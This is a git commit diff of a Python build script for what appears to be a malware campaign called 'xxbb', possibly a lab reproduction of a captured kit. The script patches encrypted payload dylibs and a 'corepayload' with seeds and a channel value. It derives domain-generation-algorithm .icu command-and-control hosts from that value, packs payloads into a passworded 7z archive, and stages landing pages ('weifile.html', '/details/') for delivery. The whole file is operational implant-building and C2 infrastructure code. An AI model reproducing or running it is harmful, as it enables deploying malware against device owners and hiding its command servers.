feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
+117 -117
View File
@@ -1,14 +1,18 @@
#!/usr/bin/env python3
"""Patch xxbb secondary packs + corepayload `c`, apply shared weifile/details.
"""Patch xxbb secondary packs + corepayload `c`, apply shared details + staged weifile.
Artifact layout (shared, not per-channel folders):
{artifact-root}/weifile/ (landing weifile.html + stages + patched secondary)
{artifact-root}/details/ (show.html + patched corepayload.js + plugins)
`c` is a shared DGA seed (env XXBB_CHANNEL_C), not a per-channel id.
Artifact layout:
{artifact-root}/details/ served landing /details/
{state-root}/out/weifile/ staged weifile (not published; pack_channel.py zips it)
Seed resolution (same idea as channel-builder/tools/new_project.py):
1. both --deployment-seed and --reporting-seed
2. else {state-root}/lab_seeds.json
3. else random generate + write lab_seeds.json
Channel `c`: --channel-c, else --random-c, else lab_seeds.json, else random.
"""
from __future__ import annotations
@@ -24,6 +28,7 @@ from pathlib import Path
from _details_pack import extract_member, make_passworded_7z
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
from _weifile_discover import DEFAULT_HELPER_STEM, discover_secondary_stems
from reproduce_xxbb_dga import generate_domains
TOOLS = Path(__file__).resolve().parent
@@ -36,12 +41,13 @@ SOURCE_DYLIBS = BUILDER_ROOT / "source" / "dylibs"
SECONDARY_KEYS = TOOLS / "secondary_keys.json"
RESULT_MARKER = "CORUNA_BUILD_RESULT "
LAB_SEEDS_NAME = "lab_seeds.json"
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
WEIFILE_ROOT = "weifile"
DETAILS_ROOT = "details"
LANDING_NAME = "weifile.html"
CHANNEL_HTML_PLACEHOLDER = "__CHANNEL_C__"
CHANNEL_CODE_RE = re.compile(r"^[A-Za-z0-9]{8}$")
INDEX_CHANNEL_PLACEHOLDER = "CACACACA"
INDEX_IPTJ_HOST_PLACEHOLDER = "[placeholder].icu"
CORE_WIRE_NAME = "corepayload.js"
CORE_MEMBER_NAME = "corepayload.dylib"
SHOW_WIRE_NAME = "show.html"
@@ -83,6 +89,7 @@ RESERVED_CHANNEL_NAMES = frozenset(
"channel",
"out",
"t",
"nb",
"a",
"u",
"uj",
@@ -138,62 +145,6 @@ def replace_slot(buf: bytearray, old: bytes, new32: bytes, *, label: str, expect
return count
# Longest-first. Native DGA / backup / NSURL scheme slots (NUL-terminated).
HTTPS_CSTRINGS = (
b"https://backup%u.icu",
b"https://%@",
b"https://",
b"https",
)
def http_cstring(https_s: bytes) -> bytes:
if not https_s.startswith(b"https"):
raise SystemExit(f"not an https C-string: {https_s!r}")
return b"http" + https_s[5:]
def replace_cstring(buf: bytearray, old: bytes, new: bytes, *, label: str, expect: int) -> int:
"""Replace a NUL-terminated C string in place. `new` must be <= `old` (pad with NUL)."""
if b"\x00" in old or b"\x00" in new:
raise SystemExit(f"{label}: C-string must not contain NUL")
if len(new) > len(old):
raise SystemExit(f"{label}: cannot grow {old!r} -> {new!r}")
old_c = old + b"\x00"
new_c = new + b"\x00" * (len(old_c) - len(new))
count = 0
start = 0
while True:
index = buf.find(old_c, start)
if index < 0:
break
buf[index : index + len(old_c)] = new_c
count += 1
start = index + len(old_c)
if count != expect:
raise SystemExit(
f"{label}: unexpected hits for {old.decode('ascii', 'replace')}\\0 "
f"count={count} (want {expect})"
)
return count
def patch_url_scheme(buf: bytearray, *, scheme: str, label: str) -> None:
if scheme == "https":
for old in HTTPS_CSTRINGS:
if buf.find(old + b"\x00") < 0:
raise SystemExit(f"{label}: missing {old.decode()}\\0")
return
if scheme != "http":
raise SystemExit("--scheme must be http or https")
for old in HTTPS_CSTRINGS:
replace_cstring(buf, old, http_cstring(old), label=label, expect=1)
if buf.find(b"https://%@\x00") >= 0 or buf.find(b"https://backup%u.icu\x00") >= 0:
raise SystemExit(f"{label}: https URL formats still present")
if buf.find(b"http://%@\x00") < 0 or buf.find(b"http://backup%u.icu\x00") < 0:
raise SystemExit(f"{label}: http URL formats missing after patch")
def sha256_hex(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
@@ -204,10 +155,40 @@ def ignore_junk(_dir: str, names: list[str]) -> set[str]:
def load_keys() -> dict:
"""Discover type-0x01 stems from source/weifile; json only supplies helper key."""
meta = json.loads(SECONDARY_KEYS.read_text())
stems = meta.get("stems")
if not isinstance(stems, dict) or not stems:
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing stems")
helper_hex = meta.get("helper_key")
if not isinstance(helper_hex, str) or not helper_hex:
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing helper_key")
helper_stem = meta.get("helper_stem") or DEFAULT_HELPER_STEM
try:
discovered = discover_secondary_stems(
SOURCE_WEIFILE, bytes.fromhex(helper_hex), helper_stem
)
except Exception as exc:
raise SystemExit(f"failed to discover secondaries from {SOURCE_WEIFILE}: {exc}") from exc
hash_to_group: dict[str, str] = {}
for path in SOURCE_DYLIBS.glob("group_*.dylib"):
digest = sha256_hex(path.read_bytes())
group = path.name.split("_")[1]
if digest in hash_to_group and hash_to_group[digest] != group:
raise SystemExit(f"dylib hash {digest[:16]}… mapped to both {hash_to_group[digest]} and {group}")
hash_to_group[digest] = group
if not hash_to_group:
raise SystemExit(f"no group_*.dylib under {SOURCE_DYLIBS}")
stems: dict[str, dict] = {}
for stem, info in discovered.items():
group = hash_to_group.get(info["sha256"])
if not group:
raise SystemExit(
f"{stem}: plaintext sha256 {info['sha256'][:16]}… has no matching source/dylibs group"
)
stems[stem] = {"key": info["key"], "group": group}
if not stems:
raise SystemExit("discovered zero type-0x01 secondaries")
meta["stems"] = stems
return meta
@@ -225,13 +206,11 @@ def patch_dylib(
reporting_seed: str,
channel_c: str,
label: str,
scheme: str = "https",
) -> bytes:
buf = bytearray(data)
replace_slot(buf, ORIGINAL_DEP.encode("ascii"), pack_ascii32("--deployment-seed", deployment_seed), label=label, expect=1)
replace_slot(buf, ORIGINAL_REP.encode("ascii"), pack_ascii32("--reporting-seed", reporting_seed), label=label, expect=1)
replace_slot(buf, ORIGINAL_C.encode("ascii"), pack_ascii32("--channel-c", channel_c), label=label, expect=1)
patch_url_scheme(buf, scheme=scheme, label=label)
if bytes(buf).find(SEVEN_ZIP_PASSWORD.encode("ascii")) < 0:
raise SystemExit(f"{label}: 7z password {SEVEN_ZIP_PASSWORD} missing after patch")
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
@@ -306,11 +285,28 @@ def build_details(
}
def inject_channel_into_weifile(html_path: Path, channel_c: str) -> None:
text = html_path.read_text(encoding="utf-8")
if CHANNEL_HTML_PLACEHOLDER not in text:
raise SystemExit(f"{html_path}: missing {CHANNEL_HTML_PLACEHOLDER} placeholder")
html_path.write_text(text.replace(CHANNEL_HTML_PLACEHOLDER, channel_c), encoding="utf-8")
def normalize_channel_code(value: str) -> str:
code = (value or "").strip().upper()
if not CHANNEL_CODE_RE.fullmatch(code):
raise SystemExit("--channel-code must be 8 chars of [A-Za-z0-9] (e.g. FAFA9988)")
if code.lower() in RESERVED_CHANNEL_NAMES:
raise SystemExit(f"--channel-code {code!r} is reserved")
return code
def patch_index_js_host(text: str, host: str) -> str:
if INDEX_IPTJ_HOST_PLACEHOLDER not in text:
raise SystemExit(f"index.js: missing iptj host placeholder {INDEX_IPTJ_HOST_PLACEHOLDER}")
if not XXBB_DGA_HOST_RE.fullmatch(host):
raise SystemExit(f"iptj host {host!r} is not an xxbb DGA host")
return text.replace(INDEX_IPTJ_HOST_PLACEHOLDER, host, 1)
def new_channel_c() -> str:
while True:
value = gen_seed()
if value != SEVEN_ZIP_PASSWORD:
return value
def copy_tree(src: Path, dst: Path) -> None:
@@ -319,15 +315,6 @@ def copy_tree(src: Path, dst: Path) -> None:
shutil.copytree(src, dst, symlinks=False, ignore=ignore_junk)
def validate_channel_name(value: str) -> str:
name = (value or "").strip().lower()
if not CHANNEL_NAME_RE.fullmatch(name):
raise SystemExit("--channel-name must be 8–32 chars of [a-z0-9]")
if name in RESERVED_CHANNEL_NAMES:
raise SystemExit(f"--channel-name {name!r} is reserved")
return name
def gen_seed() -> str:
return secrets.token_hex(16)
@@ -419,15 +406,23 @@ def resolve_seeds(
cli_dep: str | None,
cli_rep: str | None,
cli_c: str | None,
random_c: bool = False,
) -> tuple[str, str, str, dict, bool]:
"""Return dep, rep, channel_c, domains, seeds_initialized."""
if bool(cli_dep) ^ bool(cli_rep):
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
if random_c and (cli_c or "").strip():
raise SystemExit("use either --channel-c or --random-c, not both")
existing = load_lab_seeds(lab_seeds_path)
channel_c = (cli_c or "").strip() or (
str(existing["channel_c"]) if existing and existing.get("channel_c") else ORIGINAL_C
)
if random_c:
channel_c = new_channel_c()
elif (cli_c or "").strip():
channel_c = cli_c.strip()
elif existing and existing.get("channel_c"):
channel_c = str(existing["channel_c"])
else:
channel_c = new_channel_c()
pack_ascii32("--channel-c", channel_c)
if channel_c == SEVEN_ZIP_PASSWORD:
raise SystemExit("--channel-c must not equal the 7zAES password (202800cf…)")
@@ -479,50 +474,45 @@ def default_state_root() -> Path:
def main() -> int:
parser = argparse.ArgumentParser(
description="Patch xxbb secondary + corepayload c; apply shared /weifile and /details."
description="Patch xxbb secondary + corepayload c; apply /details and staged weifile."
)
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument(
"--channel-c",
help="native report field c and DGA seed (lab new-builder passes channel_id here)",
help="shared native DGA / report field c (32 hex). From env XXBB_CHANNEL_C or random.",
)
parser.add_argument(
"--channel-name",
help="deprecated/ignored (shared /weifile layout; kept for CLI compatibility)",
"--random-c",
action="store_true",
help="generate a new random 32-hex c (rewrites lab_seeds.json channel_c + domains)",
)
parser.add_argument(
"--artifact-root",
type=Path,
default=PROJECT_ROOT / "public",
help="directory that will contain weifile/ and details/",
help="directory that will contain details/ (default: ../public)",
)
parser.add_argument(
"--state-root",
type=Path,
default=None,
help=f"lab_seeds.json + out/ (default: {default_state_root()})",
help=f"lab_seeds.json + out/weifile (default: {default_state_root()})",
)
parser.add_argument(
"--out",
type=Path,
help="intermediate output for rebuilt .min.js (default: <state-root>/out)",
help="intermediate .min.js / dylibs (default: <state-root>/out)",
)
parser.add_argument(
"--apply",
action="store_true",
help="write shared {artifact}/weifile/ and {artifact}/details/",
help="write {artifact}/details/ and {state}/out/weifile/",
)
parser.add_argument(
"--force",
action="store_true",
help="replace existing weifile/ and details/ (default with --apply)",
)
parser.add_argument(
"--scheme",
choices=("http", "https"),
default="https",
help="native DGA/C2 URL scheme (https is required on device; http is ATS-blocked for .icu hosts)",
help="replace existing details/ and staged weifile (default with --apply)",
)
args = parser.parse_args()
@@ -533,12 +523,9 @@ def main() -> int:
cli_dep=args.deployment_seed,
cli_rep=args.reporting_seed,
cli_c=args.channel_c,
random_c=args.random_c,
)
# Optional legacy flag; shared layout no longer uses per-channel folders.
if args.channel_name:
validate_channel_name(args.channel_name)
meta = load_keys()
stems = meta["stems"]
groups = sorted({info["group"] for info in stems.values()})
@@ -552,7 +539,6 @@ def main() -> int:
reporting_seed=rep,
channel_c=channel_c,
label=path.name,
scheme=args.scheme,
)
patched[group] = data
print(f"group {group}: patched {path.name} sha256={sha256_hex(data)[:16]}… size={len(data)}")
@@ -585,13 +571,15 @@ def main() -> int:
f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}"
)
weifile_path = ""
weifile_path = None
details_path = ""
staged_weifile = ""
iptj_host = ""
if args.apply:
artifact = args.artifact_root.resolve()
dest_weifile = artifact / WEIFILE_ROOT
dest_details = artifact / DETAILS_ROOT
# Shared trees are always replaced on --apply.
dest_weifile = state_root / "out" / WEIFILE_ROOT
if not SOURCE_WEIFILE.is_dir():
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
if not SOURCE_DETAILS.is_dir():
@@ -600,7 +588,6 @@ def main() -> int:
landing = dest_weifile / LANDING_NAME
if not landing.is_file():
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
inject_channel_into_weifile(landing, channel_c)
copy_tree(SOURCE_DETAILS, dest_details)
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
@@ -609,11 +596,24 @@ def main() -> int:
dst = dest_weifile / src.name
shutil.copy2(src, dst)
print(f"applied -> {dst}")
print(f"applied weifile -> {dest_weifile}")
hosts = list(domains.get("deployment") or [])
if not hosts:
raise SystemExit("no DGA domains computed from channel_c")
iptj_host = hosts[0]
index_path = dest_weifile / "index.js"
if not index_path.is_file():
raise SystemExit(f"missing index.js in staged weifile: {dest_weifile}")
index_path.write_text(
patch_index_js_host(index_path.read_text(encoding="utf-8"), iptj_host),
encoding="utf-8",
)
print(f"staged weifile -> {dest_weifile}")
print(f"applied details -> {dest_details}")
weifile_path = f"/{WEIFILE_ROOT}/{LANDING_NAME}"
print(f"index.js iptj host -> {iptj_host}")
details_path = f"/{DETAILS_ROOT}/"
staged_weifile = str(dest_weifile)
print(f"XXBB_CHANNEL_C={channel_c}")
print("deployment domains:")
for i, domain in enumerate(domains.get("deployment") or [], 1):
print(f" {i:03d} {domain}")
@@ -624,10 +624,11 @@ def main() -> int:
result = {
"campaign": "xxbb",
"builder_type": "new",
"channel_name": None,
"weifile_path": weifile_path or None,
"support_path": weifile_path or None,
"weifile_path": weifile_path,
"support_path": None,
"details_path": details_path or None,
"staged_weifile": staged_weifile or None,
"iptj_host": iptj_host or None,
"seeds_initialized": seeds_initialized,
"sync_rebuilt": bool(args.apply),
"domains": domains,
@@ -638,15 +639,14 @@ def main() -> int:
},
"seven_zip_password": SEVEN_ZIP_PASSWORD,
"files": built,
"stem_count": len(built),
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
"details": details_meta,
"scheme": args.scheme,
"notes": [
"secondary + corepayload c patched; domains follow channel_c DGA",
"shared artifact paths: /weifile/weifile.html and /details/",
"index.js iptj URL / channelCode not patched",
"details published to /details/; weifile staged under state-root/out/weifile",
"index.js iptj host is DGA(channel_c)[0]; CACACACA is left for pack_channel.py",
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
f"native DGA/C2 scheme={args.scheme}",
],
}
(out / "MANIFEST.json").write_text(json.dumps(result, indent=2) + "\n")